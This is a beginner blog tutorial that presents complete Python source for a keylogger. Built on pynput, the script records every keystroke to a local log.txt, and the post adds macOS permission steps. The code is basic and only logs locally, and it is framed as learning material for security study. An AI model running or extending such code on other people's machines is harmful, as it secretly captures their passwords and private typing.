Python KeyLogger Tutorial

Devang Jain
Analytics Vidhya
Published in
3 min readAug 19, 2020
Photo by Courtney Corlew on Unsplash

Hey! What’s up?

Hope you are doing well. In this article, you will learn how to write a basic keylogger program in Python.

WHAT IS A KEYLOGGER?

Keyloggers are a type of monitoring software designed to record keystrokes made by a user. One of the oldest forms of cyber threat, these keystroke loggers record the information you type into a website or application and send to back to a third party!

TUTORIAL

To create a keylogger we are going to use the pynput module. As it's not the standard library of python, you might need to install it.

pip install pynput

Now import the required packages and methods. To monitor the keyboard, we are going to use the listener method of pynput.keyboard module.

from pynput.keyboard import Listener

Then we create the function log_keystroke() which creates a definition for keypresses, takes the key as a parameter, and stores it in a text file.

But we will first convert the key into a string and remove all the single quotes so that it is easier for us to read the log file.

Also, we will encounter ‘Key.space’ & ‘Key.enter’ instead of an actual space and automatic next line shift and ‘Key.shift_r’ when using the shift key. We will take care of that too beforehand.

def log_keystroke(key):
key = str(key).replace("'", "")

if key == 'Key.space':
key = ' '
if key == 'Key.shift_r':
key = ''
if key == "Key.enter":
key = '\n'

with open("log.txt", 'a') as f:
f.write(key)

The final thing we are going to do is to set up an instance of Listener and define the log_keystroke method in it and then join the instance to the main thread.

with Listener(on_press=log_keystroke) as l:
l.join()

By combining the above-mentioned steps, we can put together our complete program:

from pynput.keyboard import Listener

def log_keystroke(key):
key = str(key).replace("'", "")

if key == 'Key.space':
key = ' '
if key == 'Key.shift_r':
key = ''
if key == "Key.enter":
key = '\n'

with open("log.txt", 'a') as f:
f.write(key)

with Listener(on_press=log_keystroke) as l:
l.join()

To test, keep the program running in the background and open Google and search for something. Now, open your log.txt file, and voila you can see your every keystroke logged and stored in the file.

PERMISSIONS FOR MAC

For Windows, the program should work like a charm. But in case you are a Mac user — Go to Settings > Security & Privacy > Privacy > Input Monitoring and tick the checkbox in front of the Terminal or the IDE you are working on.

Thank You for reading my first blog post, hope you got to learn something new. More writeups and articles on CyberSecurity and Ethical Hacking are on their way.

See you later!

Support me https://www.buymeacoffee.com/djrobin17

--

--